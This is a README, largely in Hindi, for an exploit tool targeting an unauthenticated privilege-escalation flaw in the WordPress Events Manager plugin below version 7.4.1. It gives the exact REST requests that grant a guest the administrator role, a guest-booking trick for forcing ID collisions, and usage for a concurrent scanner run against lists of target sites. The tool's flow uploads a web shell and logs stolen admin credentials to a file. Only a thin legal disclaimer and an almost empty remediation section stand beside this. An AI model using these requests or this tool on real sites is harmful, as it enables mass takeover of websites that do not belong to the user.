
Events Manager < 7.4.1 - बिना प्रमाणीकरण के व्यवस्थापक तक विशेषाधिकार वृद्धि
Events Manager < 7.4.1 - बिना प्रमाणीकरण के एडमिनिस्ट्रेटर तक प्रिविलेज एस्केलेशन
यह भेद्यता classes/em-archetypes.php के अंदर EM\Archetypes::map_meta_cap में मौजूद है। प्लगइन अपनी क्षमता मैपिंग को गलत तरीके से स्कोप करता है:
event या location CPT है, तो $caps = [] को खाली कर देनाedit_user, delete_user, या promote_user के लिए क्षमताओं को कभी दोबारा नहीं भरनाhas_cap() true लौटाता है, जिसमें यूज़र 0 (अतिथि) भी शामिल हैPOST|PUT|PATCH /wp-json/wp/v2/users/{id}
POST /index.php?rest_route=/wp/v2/users/{id}
Body: {"password":"...","roles":["administrator"]}
शर्त: {id} को किसी event या location CPT के wp_posts.ID के बराबर होना चाहिए।
⚠️ बिना प्रमाणीकरण वाला REST किसी nonce की आवश्यकता नहीं रखता (कोई लॉग-इन कुकी नहीं)।
अतिथि बुकिंग (डिफ़ॉल्ट रूप से dbem_bookings_anonymous=1) वास्तविक WP उपयोगकर्ता बनाती है, जिससे कॉलिज़न फोर्सिंग संभव होती है। बुकिंग nonce इवेंट फ़ॉर्म पर सार्वजनिक रूप से उपलब्ध होता है।
pip install aiohttp
python CVE-2026-18366.py
स्क्रिप्ट निम्न के लिए पूछेगी:
list.txt)python CVE-2026-18366.py -l targets.txt -s 20 --timeout 30
| विकल्प | विवरण |
|---|---|
-l, --list | टारगेट URL वाली फ़ाइल का पथ |
-s, --speed | समवर्ती वर्कर्स की संख्या (1-200) |
--timeout | अनुरोध टाइमआउट सेकंड में (डिफ़ॉल्ट: 20) |
एक list.txt फ़ाइल बनाएँ जिसमें हर पंक्ति में एक टारगेट हो:
https://target1.com
https://target2.com/wordpress
http://target3.com
target4.com
[+] [HH:MM:SS] target.com ADMIN username:password uid=X path
[+] [HH:MM:SS] target.com SHELL https://target.com/wp-content/plugins/...
सफल कॉम्प्रोमाइज़ adminS.txt में सहेजे जाते हैं:
https://target.com | username:Nx_admin_@!KSA | uid=X | path=id-collision | ADMIN | shell_url
┌─────────────────────────────────────────────────────────────────┐
│ CVE-2026-18366 Flow │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌─────────────┐ ┌──────────────────────┐ │
│ │ Detect │ → │ Collect IDs │ → │ PATH A: ID Brute │ │
│ │ Plugin │ │ (CPT/HTML) │ │ REST /users/{id} │ │
│ └──────────┘ └─────────────┘ └──────────┬───────────┘ │
│ │ │
│ ┌──────▼──────┐ │
│ │ Success? │ │
│ └──────┬──────┘ │
│ No │ │ Yes │
│ ┌──────────▼──────▼──────────┐ │
│ │ │ │
│ ┌──────────────────────┐ │ ┌─────────────────┐ │ │
│ │ PATH B: Guest Book │ ←───┘ │ Login + Verify │ │ │
│ │ Create user until │ │ Admin Access │ │ │
│ │ user_id == post_id │ └────────┬────────┘ │ │
│ └──────────────────────┘ │ │ │
│ ┌────────▼────────┐ │ │
│ │ Upload Shell │ │ │
│ │ (Plugin/Theme) │ │ │
│ └────────┬────────┘ │ │
│ │ │ │
│ ┌────────▼────────┐ │ │
│ │ Save Results │ │ │
│ │ adminS.txt │ │ │
│ └─────────────────┘ │ │
│ │ │
└────────────────────────────────────────────────────────────────┘
├── CVE-2026-18366.py # Main exploit script
├── list.txt # Target URLs (create this)
├── adminS.txt # Successful results (auto-created)
└── README.md # This documentation
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ ║
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ ║
║ • Only use on systems you own or have explicit permission ║
║ • Unauthorized access to computer systems is ILLEGAL ║
║ • The author is NOT responsible for any misuse or damage ║
║ • By using this tool, you agree to these terms ║
║ ║
║ Use responsibly. Stay ethical. Respect the law. ║
║ ║
╚══════════════════════════════════════════════════════════════════╝
यदि आप वर्डप्रेस एडमिनिस्ट्रेटर हैं:
| विशेषता | विवरण |
|---|
| CVE ID | CVE-2026-18366 |
| गंभीरता | 🔴 क्रिटिकल (CVSS 9.8) |
| प्लगइन | वर्डप्रेस के लिए Events Manager |
| प्रभावित संस्करण | < 7.4.1 |
| भेद्यता प्रकार | बिना प्रमाणीकरण के प्रिविलेज एस्केलेशन |
| हमला वेक्टर | नेटवर्क |
| प्रमाणीकरण आवश्यक | कोई नहीं |